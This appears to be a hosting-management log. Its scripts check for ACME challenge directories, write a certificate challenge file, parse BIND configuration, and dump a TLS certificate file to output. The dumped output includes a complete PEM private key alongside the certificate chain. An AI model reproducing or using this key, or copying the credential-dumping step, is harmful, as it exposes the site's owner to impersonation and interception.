gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-11 06:00:40: 

chmod 755 /tmp/pkp552835; /tmp/pkp552835; rm /tmp/pkp552835

2026-07-11 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt	7428
fb:5d:36:5f:71:1c:8a:aa:38:b2:c5:98:1e:1f:36:8d

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBdGU/qVjloe127EvNu/l1trXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzExMDUwMjA4WhcNMjYxMDA5MDUwMjA3WjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANU9
sRAKOLk5XPGjLFs9nT4UHu0voS3ALEYn61rsiD3KIhKvq/OW/tn1eVWKyYhBdtFp
VwERzIWnQF5Azh87BwBHPrwPE/HeAmnx0y10k8SHffEbXoCojtyoMyQXD8dWYXY5
KsWiEcDXqL2DzI2dbz+9l7QIfHP4Y2m65+4i8gTkqVpiqT292F6QCtcnPCERTmIE
GRkJpX2ddesKxxI8IcFguzah/bbaoA1hQSJpHZuJtuHWiXgNqiQOZfOu8PesibRR
81iS9I2aEqPiW9lL2jtXb19xifeiAIVmflSMDwPGKXhPaucQej3PZY6OhDbU2Dd0
7+tDZBDTlBjYtPOQlP0CAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRcEHHZIFDc
1BNQGbjEHkA6tcEdoTAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyBDDAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5jci5v
cmcvMCcGA1UdEQQgMB6CC2V4ancub3JnLnVrgg93d3cuZXhqdy5vcmcudWswEwYD
VR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5j
LmxlbmNyLm9yZy84OC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAfgBGr4Y9
Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ9Pw3n0AAgAAAUADIsOgwQD
AEcwRQIhAM50Qk+8VSBQ0w54cQmp+p/YEc+HsAjzhg5haxFyRHj/AiA2hDlVAWUN
MS50GOTMEkU67dwWDdTKeWJQOzATyc2xogB3ANgJVTuUT3r/yBYZb5RPhauw+Pxe
h1UmDxXRLnK7RUsUAAABn0/DefwAAAQDAEgwRgIhANlAWFvadsnFvi2LsPJs6rfC
z3S2auPy1XLaHkMOO7sSAiEAgBXOtKjbX2uHlh9fY9oWjnAUvPiz2SYcnVSAQbWx
n/YwDQYJKoZIhvcNAQELBQADggEBABXhY0SFrZQHX0tlyP+QMS5jx+/eLIYCQ0/B
SWpovN/TUX2X+2nJZBCw2RRxXUf/RxEOocpHmmypCmGn0nMwQpbkCSIcXDFsmlIZ
EaihWf7iHziy2JZJHFGkiZTQM2Dtm0vrfTU9NDEYoj0jlLVYm5HkpfFN5JaPJtrE
+FPiK5zoJuHEcGklGh6KvAPkqojU0h3GX+imqusNQ6Y+iX+QfSQ61LoA7eFlYl4R
uYABOhYa533vkZatVspZz8Xtc5QauHQBYld+tFh7dHKFUOJdgWsrmpTWVnnMBBf9
o3CKatbvaWQbm30YbbBqJlYuK9hTyOwNDn5ocfYrC/NLq4Ogdyk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDVPbEQCji5OVzx
oyxbPZ0+FB7tL6EtwCxGJ+ta7Ig9yiISr6vzlv7Z9XlVismIQXbRaVcBEcyFp0Be
QM4fOwcARz68DxPx3gJp8dMtdJPEh33xG16AqI7cqDMkFw/HVmF2OSrFohHA16i9
g8yNnW8/vZe0CHxz+GNpuufuIvIE5KlaYqk9vdhekArXJzwhEU5iBBkZCaV9nXXr
CscSPCHBYLs2of222qANYUEiaR2bibbh1ol4DaokDmXzrvD3rIm0UfNYkvSNmhKj
4lvZS9o7V29fcYn3ogCFZn5UjA8Dxil4T2rnEHo9z2WOjoQ21Ng3dO/rQ2QQ05QY
2LTzkJT9AgMBAAECggEAE8SCSNW0aHH0NxpEnw4D06C9392jIsCb2he9Q6fbAWS0
P+iKbNcPN66qhCQ3hoAQabKgNCMtmH48A1YdRYaNTENOginLqYeb0FfF7ILQEqSU
0j29RvlZNQS1U5/SVfegqqWmB2gnc9RfeiILsQe/1mLW+1jbYKIiunHEf648TU5R
6m50u/sE1YJ19XbT82ozQfNharW/poUcPAJkGWGnrHXlSh6loq0k/yjhDn3XKhPU
KyvJyfKHFQzsYRbk+AuwpYV9Lu2l0KiLhVRoXHfUeWfnbBlHDyEb+K2PIieQwiZg
0w5UEUYaFgVEOCCxA2NB3t3dXMOyyty+Bm8eA8l/6QKBgQDsTGdiseQZ9YbXarer
rmLQJ1YxllorRlZc0A2BKBax3EQZlxIoJz2MVnojVSGFTJ+MoIspfNjB97ooQ0XC
H+A2kAMff+1vOWP5XQAlybqq8TBLgG1+MjS6sq0s9fX+PHGV3Ko46N5D7JHv0EaR
eSoipl98MpDu0Ryud2wSCzyXEwKBgQDnBSUjqoJQ6h59HIJ+oKlS7vkpIQR+873A
/ZtszZ2KfjOtVj6+Yr8NvwbLdqKSDBlK6WWvPTysTKJjXA3MUE/glr95Sf1jdyuc
64hGQsxj9zz9GrzI3hzFiYIuhQrcULUPCfDpTuy2TFK+TTrIApCAuJBX/xtCRFAg
zGJ58JRVrwKBgQCoH9BrS1CVG7k96cMW1rOdkG9mRqiPI7Nsw+bn30MOdz7IylDz
2r+S6zBplTeNZTAb2VpKQXbjw0NjREIM1asshxiBv/6KZVX5ZS8ms7opyANppM3C
vSwBLgHC/Jlys0TJsMA4T49c2qQW8aRT+tZ84s0LS9sM4CG9DGELEY2hmwKBgH0O
vvUYt2S/5/NIPKf5ps+bR8vo8LscjQrs/nces3qmKKlbt6luYQg68Z2wwf6XiBWS
VRZQ6whGj92DloCUtTjZwhsRX5a5iyVuJx4JyQUQcLZ/A9Ukz6RrdMpkAOYU1n6m
ngBeViu1E1GrEvf0026q+pB4K7RqsImgumpSPqpHAoGBAJzCRbVWi/+NIpAILKPN
IRbIN6cFYKr/YzFY5opUirAI5GXMI4qgcFSu4DcMvEh5W6eVjjE31kYpM/kIZLth
xy6g0AvHUhnnPM0XO2rVj8KMfCdr9tDXF4wByIOAba2vvREpffK0KuTcKx9SJXMS
F9rCj2dj5VsyDMad0ya4+lDR
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-07-11 06:00:40: Establishing a connection
2026-07-11 06:00:40: Establishing a connection
2026-07-11 06:00:40: 

PUT: /tmp/pkp836179

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-11 06:00:40: 

chmod 755 /tmp/pkp836179; /tmp/pkp836179; rm /tmp/pkp836179

2026-07-11 06:00:40: 


1


2026-07-11 06:00:41: Establishing a connection
2026-07-11 06:00:41: 

PUT: /tmp/pkp871592

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > kLEb6oxzCOJTrnrr8usFhyvhd3WvDc822GKqBgPHNpA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
kLEb6oxzCOJTrnrr8usFhyvhd3WvDc822GKqBgPHNpA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 kLEb6oxzCOJTrnrr8usFhyvhd3WvDc822GKqBgPHNpA


2026-07-11 06:00:41: 

chmod 755 /tmp/pkp871592; /tmp/pkp871592; rm /tmp/pkp871592

2026-07-11 06:00:41: 




2026-07-12 06:00:01: Establishing a connection
2026-07-12 06:00:02: Establishing a connection
2026-07-12 06:00:02: 

PUT: /tmp/pkp868269

#!/bin/bash
if [ -d "/var/www/baptizo_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-12 06:00:03: 

chmod 755 /tmp/pkp868269; /tmp/pkp868269; rm /tmp/pkp868269

2026-07-12 06:00:03: 


1


2026-07-12 19:10:02: Establishing a connection
2026-07-12 19:10:15: Establishing a connection
2026-07-12 19:10:15: 

PUT: /tmp/pkp161346

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-12 19:10:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp161346; rm /tmp/pkp161346'

2026-07-12 19:10:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
